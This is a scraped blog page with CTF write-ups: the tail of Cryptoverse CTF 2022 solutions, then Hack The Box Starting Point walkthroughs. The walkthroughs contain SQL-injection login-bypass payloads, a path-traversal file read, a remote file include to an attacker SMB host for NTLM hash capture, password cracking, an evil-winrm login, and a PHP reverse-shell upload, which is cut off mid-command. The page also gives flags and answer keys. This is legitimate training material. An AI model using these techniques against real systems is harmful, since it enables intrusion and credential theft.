universal and immersive virtual world that is facilitated by the use of virtual reality and augmented reality headsets.\nNote: Wrap the message you decoded in cvctf{}.\nNote 2: This challenge involves some steganography tool related to a social media.\nFor this challenge, I tried several things before ultimately being successful. I thought maybe it would have to do with zero-width characters and tried tools like Stegsnow with no luck.\nEventually I found a Twitter Secret Message tool that gave the flag.\nflag: cvctf{secretsaretobeh1dd3n}\nSubstitution 240 solves / 129 points Substitution is a cryptographic technique where a plaintext is replaced by a ciphertext. The ciphertext is a substitution of the plaintext.\nHere is a very simple CTF-related substitution cipher. Find out the flag.\nHxpkdiz kcz Osxe ja x apzhjxs ljvr go jvogimxkjgv azhdijkf hgmpzkjkjgva. Kcziz xiz kcizz hgmmgv kfpza, Uzgpxirf, Xkkxhl Rzozvhz xvr mjyzr. Jo fgd cxwz ojedizr gdk kcz xqgwz mzaaxez, cziz ja fgdi osxe, pszxaz xrr hdisf qixhlzka qzogiz adqmjaajgv: hwhkoxwzifajmpszadqakjkdkjgv\nFor this challenge, I realized hwhkoxwzifajmpszadqakjkdkjgv likely was the flag, hence the first hwhko should map to cvctf. After a little trial and error targeting 1 or 2 letter words, I decrypted with the following:\nPlaintext: abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ Ciphertext: sxhugyocritkmxfpbdlxxnvaxeXXXXXXXCXITXXXFXXDXXJXXAXX Later, I found out quipquip can solve this for us.\nflag: cvctf{averysimplesubstitution}\nCyberMania 42 solves / 443 points I got this piece of ciphertext from my friend who is a Cyber Mania. It must have hidden something\u0026hellip;\nfile: secret.txt\nsecret.txt contains:\n1 NDAgNmIgNzEgNmEgNjkgM2EgMzIgM2QgNDIgM2YgM2QgNzUgMjcgNjIgNmEgM2QgNWQgNjUgMmQgNWMgM2MgNjMgMjggM2IgNzMgM2MgNDEgNDkgNWQgMzUgM2IgNDQgNTcgMzggNzAgM2IgMmYgNDMgMjYgNDIgM2EgMzAgMjggMmMgMmEgNDAgM2IgNTMgNGEgNTYgM2MgMjkgNmQgNTUgMzYgM2EgMmMgMmMgMzQgMmQgNDAgMzkgM2YgMjEgNDAgM2MgNWYgMmMgNzQgNjEgNDEgMzQgNGIgNWIgMjQgM2UgMjMgNjYgNGUgM2IgNDAgNmIgNzAgMjIgNzUgM2QgNWYgNjcgNjAgNTcgM2QgNjEgNDYgNTUgNGIgNDEgMzggNTEgMjEgNmUgM2IgNjUgNmYgNTEgMjkgM2QgMjUgNDcgNzIgMjggNDAgMzcgMzMgNTMgMjMgM2QgMjUgM2YgNzEgMjEgM2EgMmUgNGIgMzQgNTggNDEgMzggMzQgNTMgNDkgM2QgNWQgNDAgNmEgNjkgM2MgMjggNGIgNmUgNjYgM2EgMmUgNDkgMzAgM2QgMzkgNjkgNTkgNWYgM2YgM2MgNjAgNGYgMmEgNjAgM2MgMmEgMjkgNWIgNjMgNDEgMzggNGYgNjUgMzUgMzkgNjkgNTAgMmUgNWUgM2IgNjYgMmIgNGYgM2MgM2EgNDkgNjYgMzUgM2EgMzkgNmQgNTQgNjUgNmUgM2QgNWQgNTQgNGEgNzEgM2MgMjkgNjQgMjQgNjYgM2QgMjkgNGMgNTcgNGUgNDAgNmYgNzUgMzMgNDggM2QgNTkgNGYgNDEgNjcgNDAgM2MgNzQgNGYgNWMgM2EgMmUgMzcgNjAgMzAgM2IgNjYgMjMgNDcgNjYgM2QgMjUgMjQgNTAgNDUgM2QgNzQgNjkgNTEgNDQgM2MgMjggMzkgNjIgM2YgM2UgMjYgMzggMmUgMzUgM2MgNDMgNDMgMjIgNDcgM2IgNGEgNWQgMzYgNGMgM2UgMjIgM2EgNDcgNGMgM2IgNDggM2YgMzcgNjggM2IgMmYgNGEgNmMgNWEgM2IgNjUgNjYgNGIgNTkgM2EgNDkgNjQgNmMgNmEgM2QgMjcgMjUgNDMgNzUgM2IgNDYgNDYgMmQgMjMgM2MgNDUgNDMgNmUgNmIgM2MgNDUgMzQgMzUgNzMgM2QgMjYgNjEgMjEgM2QgM2IgNDggMzUgNTMgNjcgNDAgMzkgNDAgMjYgNWMgMzkgNjYgMjQgNjAgNWIgM2QgNWQgNTIgNzQgM2IgNDAgNmYgNmMgMzkgNDMgNDEgNGYgNGIgMjEgNTMgM2MgMmEgMzIgNjEgNWUgNDAgMzcgM2MgNjUgMjUgNDAgNTQgNDggNGUgMzEgM2EgMzIgNDYgNjAgNGIgM2UgMjMgNjUgMzAgNmUgM2MgMjggMjcgNGEgNzUgM2MgNWYgMmMgNTEgMjIgNDAgNzIgMjIgNTggNmUgM2IgMmQgMjUgNGMgMjYgMzkgNjkgNTAgNzEgMjggNDAgM2IgMzkgM2QgNTYgM2MgMjkgNjQgNWIgNGUgNDEgNGYgNGIgMzkgNjAgM2QgNWYgNzAgNTAgNWQgNDEgNTMgNmEgMmIgNTcgM2QgNzQgNzMgMzMgMjQgM2UgMjYgNGEgMmIgMzMgM2MgNjAgNjkgMmIgMzIgNDAgMzcgNGUgNjQgNDYgM2IgNDQgNDMgNTggM2QgM2IgMmYgNDMgMjMgNmYgM2IgNWYgNTYgMmEgNjMgM2MgNWUgNzAgMjggNDYgNDAgNmYgNWEgNDUgMmYgNDAgNTAgNWYgNzMgNTggNDAgNTQgNWEgNjIgNjUgM2QgMjkgMjkgNTAgNmMgNDEgMzggM2QgNjUgMjggNDEgMzYgM2MgNGQgMzMgNDAgMzcgNGYgNzMgNTQgNDEgNGYgNmYgNTEgNTAgNDEgMzkgNTUgMzEgMjI= After a bit of CyberChef magic\u0026hellip; These emoji\u0026rsquo;s seemed suspicious, so I found cryptoji and it popped out the flag.\nflag: cvctf{3m0j1_c4n_L34K_7h1ng5}\nRSA 1 183 solves / 182 points The n is so large that it\u0026rsquo;s not possible to factor it. Or is it?\nn = 0x7c05a45d02649367ebf6f472663119777ce5f9b3f2283c7b03471e9feb1714a3ce9fa31460eebd9cd5aca7620ecdb52693a736e2fcc83d7909130c6038813fd16ef50c5ca6f491b4a8571289e6ef710536c4615604f8e7aeea606d4b5f59d7adbec935df23dc2bbc2adebbee07c05beb7fa68065805d8c8f0e86b5c3f654e651\ne = 0x10001\nct = 0x35b63f7513dbb828800a6bcd708d87a6c9f33af634b8006d7a94b7e3ba62e6b9a1732a58dc35a8df9f7554e1168bfe3de1cb64792332fc8e5c9d5db1e49e86deb650ee0313aae53b227c75e40779a150ddb521f3c80f139e26b2a8880f0869f755965346cd28b7ddb132cf8d8dcc31c6b1befc83e21d8c452bcce8b9207ab76e\nfactordb allows us to \u0026ldquo;factorize\u0026rdquo; n to find p and q. The rest is plug and chug.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 #!/usr/bin/env python3 from Crypto.Util.number import inverse, long_to_bytes # Given: n = 0x7c05a45d02649367ebf6f472663119777ce5f9b3f2283c7b03471e9feb1714a3ce9fa31460eebd9cd5aca7620ecdb52693a736e2fcc83d7909130c6038813fd16ef50c5ca6f491b4a8571289e6ef710536c4615604f8e7aeea606d4b5f59d7adbec935df23dc2bbc2adebbee07c05beb7fa68065805d8c8f0e86b5c3f654e651 e = 0x10001 ct = 0x35b63f7513dbb828800a6bcd708d87a6c9f33af634b8006d7a94b7e3ba62e6b9a1732a58dc35a8df9f7554e1168bfe3de1cb64792332fc8e5c9d5db1e49e86deb650ee0313aae53b227c75e40779a150ddb521f3c80f139e26b2a8880f0869f755965346cd28b7ddb132cf8d8dcc31c6b1befc83e21d8c452bcce8b9207ab76e # FactorDB the given \u0026#39;n\u0026#39; p = 8156072525389912369788197863285751656042515380911795404436333529629416084362735262281722179416240983448945672233749861517470671156357917601583268804973543 q = 10678085245814899631026086851678635624044610674331494223434578587048178556659016077336866548714220013612176819608742965144962254942844889066032236627832071 assert n == p*q phi = (p-1)*(q-1) d = inverse(e, phi) m = pow(ct, d, n) print(long_to_bytes(m)) flag: cvctf{f4c70rDB_15_p0w3rfu1}\nReverse Baby Reverse 239 solves / 130 points Baby warmup.\nfiles: chall\nAfter running the program, it gave the output:\n$ ./chall You do not really need to run the program... The flag is: cvctf{7h15_15_4_f4k3_fl4g} So, I ran:\nstrings chall | grep cvctf This gave the flag.\nflag: cvctf{r3v3r53_15_4w350m3}\nBasic Transforms 97 solves / 337 points Basic JS for you to tackle.\nfile: app.js\napp.js contains:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 var readline = require(\u0026#39;readline\u0026#39;); var Crypto = require(\u0026#39;vigenere\u0026#39;); var rl = readline.createInterface({ input: process.stdin, output: process.stdout, terminal: true }); rl.on(\u0026#39;line\u0026#39;, function(line){ if (line.length == 20 \u0026amp;\u0026amp; line.startsWith(\u0026#34;cvctf{\u0026#34;) \u0026amp;\u0026amp; line.endsWith(\u0026#34;}\u0026#34;)) { var cat = Crypto.encode(line.substring(6, line.length - 1), \u0026#34;nodejsisfun\u0026#34;).split(\u0026#39;\u0026#39;).map(function(c) { return String.fromCharCode(c.charCodeAt(0) + 1); }).join(\u0026#39;\u0026#39;); if (Buffer.from(cat.split(\u0026#34;\u0026#34;).reverse().join(\u0026#34;\u0026#34;)).toString(\u0026#39;base64\u0026#39;) == \u0026#34;QUlgNGoxT2A2empxMQ==\u0026#34;) { console.log(\u0026#34;Correct!\u0026#34;); } } }); For this challenge, I simply used CyberChef again and reversed the cipher.\nHowever, I wasn\u0026rsquo;t getting the full flag upon decoding the Vigenère cipher. So, I reverted back to js using the runkit environment.\nflag: cvctf{0bfu5_N0d3_H@}\nMisc iKUN1 https://www.youtube.com/watch?v=w8bidbK0PI\nFind the flag for iKUN 1, already wrapped in flag format.\nHint: Please find me (CryptoverseCTF) on THE platform for code repositories hosting.\nNote: The YouTube link is unrelated to solving the challenge.\nTHE platform seemed likely to be Github. I was quickly able to find the account, then found a repo with a cvctf{fake_flag_but_correct_repo} bio. I checked the commit history and found the flag:\nflag: cvctf{git_reveals_everything}\nNot Georainbolt 37 solves / 451 points Georainbolt is able to guess the location on Google Map in 0.1 seconds. Can you do it in a second?\nGiven an IP address or a coordinate, tell me which city it is in. All answers are case-insensitive. You will need a space between words, such as \u0026ldquo;new york city\u0026rdquo;.\nFor simplicity, I will make it easy. There are 50 questions and you only need to achieve an accuracy of more than 50% to get the flag!\nnc 137.184.215.151 22606\nAfter connecting, the challenge will prompt the user to guess the city based on IP or Coordinate (as shown below). If you answer in more than 1 second, it\u0026rsquo;s automatically \u0026ldquo;Wrong.\u0026rdquo;\n$ nc 137.184.215.151 22606 ... IP: 2.145.91.238 City: Coordinate (lat, lon): 45.3747, -75.5647 City: We can script this to solve!\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 #!/usr/bin/env python3 import time import ipinfo from pwn import * from geopy.geocoders import Nominatim # init ipinfo at = \u0026#39;\u0026lt;REDACTED\u0026gt;\u0026#39; h = ipinfo.getHandler(at) # init geo locator geolocator = Nominatim(user_agent=\u0026#34;geoapiExercises\u0026#34;) r = remote(\u0026#39;137.184.215.151\u0026#39;, 22606) r.recvuntil(b\u0026#39;wrong.\\n\u0026#39;) log.info(\u0026#39;Solving...\u0026#39;) for i in range(50): time.sleep(0.2) q = r.recvuntil(b\u0026#39;City:\u0026#39;) if b\u0026#39;IP\u0026#39; in q: ip = q.split(b\u0026#39;IP: \u0026#39;)[-1].split(b\u0026#39;\\n\u0026#39;)[0].decode() d = h.getDetails(ip) r.sendline(d.city.encode()) else: coor = q.split(b\u0026#39;lon): \u0026#39;)[-1].split(b\u0026#39;\\n\u0026#39;)[0].decode() location = geolocator.reverse(coor) try: city = location.raw[\u0026#39;address\u0026#39;][\u0026#39;city\u0026#39;] except: city = \u0026#39;failed\u0026#39; r.sendline(city.encode()) r.interactive() flag: cvctf{4r3_y0u_4_R34L_Ge@r41nB0L7?}\n","permalink":"https://woadey.github.io/posts/ctf/cryptoverse22/","summary":"\u003cp\u003eThis past weekend, I joined \u003ca href=\"https://shellphish.net/\"\n title=\"Shellphish\" \n target=\"_blank\" rel=\"nofollow noopener\"\u003eShellphish\u003c/a\u003e for a last minute CTF called Cryptoverse\u003c/p\u003e","title":"Cryptoverse CTF 2022 Writeups"},{"content":"Appointment nmap 1 2 3 4 5 6 7 8 9 10 11 # Nmap 7.92 scan initiated Tue Oct 25 20:48:19 2022 as: nmap -sC -sV -oA nmap/appointment 10.129.17.225 Nmap scan report for 10.129.17.225 Host is up (0.11s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.38 ((Debian)) |_http-title: Login |_http-server-header: Apache/2.4.38 (Debian) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Oct 25 20:48:30 2022 -- 1 IP address (1 host up) scanned in 11.56 seconds http Since port 80 is open, let\u0026rsquo;s check the browser to see what the IP address gives us.\nLet\u0026rsquo;s try a few combinations of usernames and passwords first such as admin, root, password, etc.\nPerhaps this isn\u0026rsquo;t the point of entry, let\u0026rsquo;s try to find any useful subdirectories using Gobuster\ngobuster gobuster (sudo apt install gobuster) is a tool that bruteforces urls in order to find subdomains, subdirectories, and files. Let\u0026rsquo;s run a simple scan on this IP and store the output in gobuster.out for later reference.\ngobuster dir -u http://10.129.17.225 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -o gobuster.out -z (note: sudo apt install seclists if you do not already have this directory)\ncommand tags:\ndir: directories/files search mode -u: url -w: specify a wordlist -o: specify output file -z: only display hits (not other progress) This will give us the following output: After looking at these subdirectories, nothing glaringly stood out. Perhaps we can pivot back to the login page and try SQL Injection.\nSQL SQL (Structured Query Language) is a programming language used in order to store, manipulate, or retrieve data in databases. SQL Injection (sqli) is a technique used to inject SQL commands via the front end to leak information from the database.\nIt\u0026rsquo;s worth trying a few basic sqli before breaking out the big guns like sqlmap. Let\u0026rsquo;s try a few from this Github I found Googling \u0026ldquo;sqli payloads\u0026rdquo;. Let\u0026rsquo;s go to the section of sqli payloads for bypassing authentication (Auth Bypass Payloads) \u0026ndash; they usually have a format similar to ' OR 1=1 or admin' --. Just throw them into the username and password fields and hope one works.\n'-': SUCCESS ' or ''-': failed ' or \u0026quot;: failed -- or #: failed ' OR '1: SUCCESS As you can see, it takes a bit of trial and error, hence how automation (through something like sqlmap) can prove useful!\nQuestions What does the acronym SQL stand for? Structured Query Language What is one of the most common type of SQL vulnerabilities? SQL Injection What does PII stand for? Personally Identifiable Information What does the OWASP Top 10 list name the classification for this vulnerability? A03:2021-Injection What service and version are running on port 80 of the target? Apache httpd 2.4.38 ((Debian)) What is the standard port used for the HTTPS protocol? 443 What is one luck-based method of exploiting login pages? brute-forcing What is a folder called in web-application terminology? directory What response code is given for \u0026ldquo;Not Found\u0026rdquo; errors? 404 What switch do we use with Gobuster to specify we\u0026rsquo;re looking to discover directories, and not subdomains? dir What symbol do we use to comment out parts of the code? # flag: e3d0796d002a446c0e622226f42e9672\nSequel nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 # Nmap 7.92 scan initiated Tue Oct 25 22:42:52 2022 as: nmap -sC -sV -oA nmap/sequel 10.129.152.89 Nmap scan report for 10.129.152.89 Host is up (0.077s latency). Not shown: 999 closed tcp ports (reset) PORT STATE SERVICE VERSION 3306/tcp open mysql? |_sslv2: ERROR: Script execution failed (use -d to debug) | mysql-info: | Protocol: 10 | Version: 5.5.5-10.3.27-MariaDB-0+deb10u1 | Thread ID: 66 | Capabilities flags: 63486 | Some Capabilities: LongColumnFlag, Support41Auth, Speaks41ProtocolOld, InteractiveClient, IgnoreSpaceBeforeParenthesis, SupportsCompression, SupportsTransactions, ConnectWithDatabase, IgnoreSigpipes, ODBCClient, FoundRows, Speaks41ProtocolNew, SupportsLoadDataLocal, DontAllowDatabaseTableColumn, SupportsMultipleStatments, SupportsMultipleResults, SupportsAuthPlugins | Status: Autocommit | Salt: \u0026lt;REDACTED FOR FORMATTING\u0026gt; |_ Auth Plugin Name: mysql_native_password |_ssl-cert: ERROR: Script execution failed (use -d to debug) |_tls-nextprotoneg: ERROR: Script execution failed (use -d to debug) |_tls-alpn: ERROR: Script execution failed (use -d to debug) |_ssl-date: ERROR: Script execution failed (use -d to debug) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Oct 25 22:46:15 2022 -- 1 IP address (1 host up) scanned in 203.10 seconds mysql Since port 3306 is open, lets take a look into connecting to mysql (sudo apt update \u0026amp;\u0026amp; sudo apt install mysql*) – an open-source relational database management system.\nWe can run the following command and try for root right away:\nmysql -h 10.129.152.89 -u root command tags:\n-h: host IP -u: specified user Bingo!\nNow we can just run a few sql commands and profit:\n\u0026gt; show databases ... \u0026gt; use htb; ... \u0026gt; show tables; ... \u0026gt; select * from config; Questions What does the acronym SQL stand for? Structured Query Language During our scan, which port running mysql do we find? 3306 What community-developed MySQL version is the target running? MariaDB What switch do we need to use in order to specify a login username for the MySQL service? -u Which username allows us to log into MariaDB without providing a password? root What symbol can we use to specify within the query that we want to display everything inside a table? * What symbol do we need to end each query with? ; flag: 7b4bec00d1a39e3dd4e021ec3d915da8\nCrocodile nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 # Nmap 7.92 scan initiated Tue Oct 25 23:11:51 2022 as: nmap -sC -sV -oA nmap/crocodile 10.129.228.114 Nmap scan report for 10.129.228.114 Host is up (0.080s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 ftp ftp 33 Jun 08 2021 allowed.userlist |_-rw-r--r-- 1 ftp ftp 62 Apr 20 2021 allowed.userlist.passwd | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.10.14.82 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 3 | vsFTPd 3.0.3 - secure, fast, stable |_End of status 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Smash - Bootstrap Business Template |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Unix Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Tue Oct 25 23:12:04 2022 -- 1 IP address (1 host up) scanned in 12.82 seconds ftp ftp is open with anonymous mode allowed, so let\u0026rsquo;s scope it out.\nfile: allowed.userlist:\n1 2 3 4 aron pwnmeow egotisticalsw admin file: allowed.userlist.password:\n1 2 3 4 root Supersecretpassword1 @BaASD\u0026amp;9032123sADS rKXM59ESxesUFHAd http Well we have users and passwords, let\u0026rsquo;s check the website to see if something will take these credentials (like a login page).\nAfter clicking around, nothing seemed promising. Let\u0026rsquo;s throw it in gobuster to see if we can\u0026rsquo;t find a login page.\ngobuster We\u0026rsquo;ve done this before! (see above)\n$ gobuster dir -u http://10.129.228.114 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -z =============================================================== Gobuster v3.1.0 by OJ Reeves (@TheColonial) \u0026amp; Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.129.228.114 [+] Method: GET [+] Threads: 10 [+] Wordlist: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.1.0 [+] Timeout: 10s =============================================================== 2022/10/25 23:30:31 Starting gobuster in directory enumeration mode =============================================================== /assets (Status: 301) [Size: 317] [--\u0026gt; http://10.129.228.114/assets/] /css (Status: 301) [Size: 314] [--\u0026gt; http://10.129.228.114/css/] /js (Status: 301) [Size: 313] [--\u0026gt; http://10.129.228.114/js/] /dashboard (Status: 301) [Size: 320] [--\u0026gt; http://10.129.228.114/dashboard/] =============================================================== 2022/10/25 23:31:11 Finished =============================================================== dashboard seems interesting\u0026hellip; we get redirected to login.php!\nGoing for the throat with admin:rKXM59ESxesUFHAd grants us access and the flag.\nQuestions What nmap scanning switch employs the use of default scripts during a scan? -sC What service version is found to be running on port 21? vsftpd 3.0.3 What FTP code is returned to us for the \u0026ldquo;Anonymous FTP login allowed\u0026rdquo; message? 230 What command can we use to download the files we find on the FTP server? get What is one of the higher-privilege sounding usernames in the list we retrieved? admin What version of Apache HTTP Server is running on the target host? 2.4.41 What is the name of a handy web site analysis plug-in we can install in our browser? Wappalyzer What switch can we use with gobuster to specify we are looking for specific filetypes? -x What file have we found that can provide us a foothold on the target? login.php flag: c7110277ac44d78b6a9fff2232434d16\nResponder nmap For this scan, I added the tags -p- to scan all ports since the top 1000 had no hits and -T5for the insane level to increase speed.\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 # Nmap 7.92 scan initiated Tue Oct 25 23:51:23 2022 as: nmap -p- -sC -sV -T5 -oA nmap/responder 10.129.245.210 Nmap scan report for 10.129.245.210 Host is up (0.21s latency). Not shown: 65533 filtered tcp ports (no-response) PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 2.4.52 ((Win64) OpenSSL/1.1.1m PHP/8.1.1) |_http-server-header: Apache/2.4.52 (Win64) OpenSSL/1.1.1m PHP/8.1.1 |_http-title: Site doesn\u0026#39;t have a title (text/html; charset=UTF-8). 5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Oct 26 00:03:07 2022 -- 1 IP address (1 host up) scanned in 703.75 seconds http Port 80 is open so let\u0026rsquo;s scope out the site!\nLooks like the IP is getting redirected to unika.htb. Let\u0026rsquo;s add this to /etc/hosts to map the hostname to the IP address to help DNS.\nfile: /etc/hosts\n1 2 3 4 5 6 7 8 127.0.0.1 localhost 127.0.1.1 kali 10.129.245.210 unika.htb # The following lines are desirable for IPv6 capable hosts ::1 localhost ip6-localhost ip6-loopback ff02::1 ip6-allnodes ff02::2 ip6-allrouters That\u0026rsquo;s better. After clicking around, something stood out after changing the language to French – the url changed to http://unika.htb/index.php?page=french.html. page is calling a file on the server, but can\u0026rsquo;t we just change this file to be something else? Say, /etc/hosts:\nhttp://unika.htb/index.php?page=../../../../../../../../windows/system32/drivers/etc/hosts\nGives us the output:\n# Copyright (c) 1993-2009 Microsoft Corp. # # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. # # This file contains the mappings of IP addresses to host names. Each # entry should be kept on an individual line. The IP address should # be placed in the first column followed by the corresponding host name. # The IP address and the host name should be separated by at least one # space. # # Additionally, comments (such as these) may be inserted on individual # lines or following the machine name denoted by a \u0026#39;#\u0026#39; symbol. # # For example: # # 102.54.94.97 rhino.acme.com # source server # 38.25.63.10 x.acme.com # x client host # localhost name resolution is handled within DNS itself. # 127.0.0.1 localhost # ::1 localhost Now that we know we can access files on the server, an LFI (Local File Include) vulnerability, perhaps we there is an RFI (Remote File Include) vulnerability. From our nmap, we know that the server hosting this page is a Windows machine. So, in order for us to test this RFI vulnerability, we will first need to learn a bit about NTLM.\nNTLM NTLM (New Technology Lan Manager) is essentially a network security manager in Windows that provides authentication, integrity, and confidentiality. Notably, it is a single sign-on (SSO) which allows requires users to only be authenticated once. More details of NTLM and the authentication process can be found on Crowdstrike. Basically, there are tools – such as Responder – which allow us to listen in on the NTLM authentication and capture the NetNTLMv2 hash. If we are able to crack this hash, we can then gain access to the server. Let\u0026rsquo;s give it a go.\nResponder Responder (git clone https://github.com/lgandx/Responder), is a tool that can simulate many attacks. In this case, we will use it as a malicious SMB server to capture the NetNTLMv2 hash. This can be done by:\nsudo python3 Responder.py -I tun0 Now we will have the server interact with this SMB server (hosted on your client IP – mine being 10.10.14.165) by changing the URL in our browser to:\nhttp://unika.htb/index.php?page=//10.10.14.165/any_file_name\nHash acquired!\nWe just need to crack it.\njohn the ripper john (john the ripper) is one commonly used hash cracking tools. Let\u0026rsquo;s copy this hash from Responder and throw it into a text file such as hashed.txt. Let john do the rest:\n$ john -w=/usr/share/wordlists/rockyou.txt hashed.txt Using default input encoding: UTF-8 Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64]) Will run 4 OpenMP threads Press \u0026#39;q\u0026#39; or Ctrl-C to abort, almost any other key for status badminton (Administrator) 1g 0:00:00:00 DONE (2022-10-25 23:58) 100.0g/s 409600p/s 409600c/s 409600C/s slimshady..oooooo Use the \u0026#34;--show --format=netntlmv2\u0026#34; options to display all of the cracked passwords reliably Session completed. There we go\u0026hellip; Administrator:badminton. Time to exploit.\nWinRM winrm (Windows Remote Management) is a protocol that allows devices to access a system remotely. evil-winrm is a tool that allows us to connect to a windows machine and still be able to use Powershell on Linux.\nevil-winrm -i 10.129.245.210 -u Administrator -p badminton We are in. Now we can run a PowerShell command to look for the flag so we don\u0026rsquo;t have to!\nGet-ChildItem -Path C:\\ -Filter flag.txt -Recurse Box popped.\nQuestions When visiting the web service using the IP address, what is the domain that we are being redirected to? unika.htb Which scripting language is being used on the server to generate webpages? php What is the name of the URL parameter which is used to load different language versions of the webpage? page Which of the following values for the page parameter would be an example of exploiting a Local File Include (LFI) vulnerability: \u0026ldquo;french.html\u0026rdquo;, \u0026ldquo;//10.10.14.6/somefile\u0026rdquo;, \u0026ldquo;../../../../../../../../windows/system32/drivers/etc/hosts\u0026rdquo;, \u0026ldquo;minikatz.exe\u0026rdquo; ../../../../../../../../windows/system32/drivers/etc/hosts Which of the following values for the page parameter would be an example of exploiting a Remote File Include (RFI) vulnerability: \u0026ldquo;french.html\u0026rdquo;, \u0026ldquo;//10.10.14.6/somefile\u0026rdquo;, \u0026ldquo;../../../../../../../../windows/system32/drivers/etc/hosts\u0026rdquo;, \u0026ldquo;minikatz.exe\u0026rdquo; //10.10.14.6/somefile What does NTLM stand for? New Technology Lan Manager Which flag do we use in the Responder utility to specify the network interface? -I There are several tools that take a NetNTLMv2 challenge/response and try millions of passwords to see if any of them generate the same response. One such tool is often referred to as john, but the full name is what?. John The Ripper What is the password for the administrator user? badminton We\u0026rsquo;ll use a Windows service (i.e. running on the box) to remotely access the Responder machine using the password we recovered. What port TCP does it listen on? 5985 flag: ea81b7afddd03efaa0945333ed147fac\nThree nmap 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 # Nmap 7.92 scan initiated Thu Oct 27 13:35:55 2022 as: nmap -sC -sV -oA nmap/three -T4 10.129.37.145 Nmap scan report for 10.129.37.145 Host is up (0.072s latency). Not shown: 998 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 2048 17:8b:d4:25:45:2a:20:b8:79:f8:e2:58:d7:8e:79:f4 (RSA) | 256 e6:0f:1a:f6:32:8a:40:ef:2d:a7:3b:22:d1:c7:14:fa (ECDSA) |_ 256 2d:e1:87:41:75:f3:91:54:41:16:b7:2b:80:c6:8f:05 (ED25519) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) |_http-title: The Toppers |_http-server-header: Apache/2.4.29 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Thu Oct 27 13:36:06 2022 -- 1 IP address (1 host up) scanned in 10.71 seconds http After looking around at the website, there were two main things that stood out.\nEmail: mail@thetoppers.htb gives us the domain thetoppers.htb Dropping a note in the #content section gives us http://10.129.37.145/action_page.php?Name=test1\u0026amp;Email=test2\u0026amp;Message=test3 We can add thetoppers.htb to /etc/hosts and check for subdirectories and subdomains.\ngobuster This section caused problems for me.\nsubdirectories\nFirst, I looked for subdirectories:\ngobuster dir -u http://10.129.37.145 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt This proved unhelpful with only the /images directory found.\nsubdomains\nI then tried running gobuster to look for subdomains hosted on the same IP using the vhost feature.\ngobuster vhost -u http://thetoppers.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -z I tested several of the number outputs by adding them to /etc/hosts, but none of them worked. I then updated the wordlist to remove all of these inputs that contain numbers through a simple python script.\nsudo gobuster vhost -u http://thetoppers.htb -w subdomain_wl_no_numbers.txt -z -o gobuster.out This only found the following subdomain (which failed after testing)\nFound: gc._msdcs Status: 400 [Size: 306] ffuf Next, I tried switching to ffuf as gobuster seemed to be failing me.\nffuf -c -u http://thetoppers.htb -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H \u0026#34;Host: FUZZ.thetopper.htb\u0026#34; -fc 200 Still, no luck.\nAfter much trial and error, I ended up taking a look at the htb writeup for this challenge at this point. To my surprise, they simply run gobuster as I did, and find s3.thetoppers.htb\nEven after knowing the output, I spent much time testing ffuf and gobuster with no avail. I even tried text files only containing s3, but this was always missed by both tools. I even tried resetting the target machine and starting over, but this also failed. So, I\u0026rsquo;m going to chalk this up to something on HackTheBox\u0026rsquo;s end and continue pretending I found the s3 subdomain.\nDon\u0026rsquo;t forget to add s3.thetoppers.htb to /etc/hosts\nNOW, moving on\u0026hellip;\ns3 The Amazon S3 bucket (or s3 for short) is a cloud-based storage service which contains s3 objects. We can use the awscli (sudo apt install awscli) to try to interact with this bucket.\naws configure Then we can look at all the s3 buckets:\naws --endpoint=http://s3.thetoppers.htb s3 ls and all the objects in a bucket:\naws --endpoint=http://s3.thetoppers.htb s3 ls s3://thetoppers.htb There seems nothing of particular value in the bucket, but we can try and add a malicious php file and get a reverse shell. I typically take pentestmonkey\u0026rsquo;s template and change the $ip and port accordingly. To upload:\naws --endpoint=http://s3.thetoppers.htb s3 cp shell.php 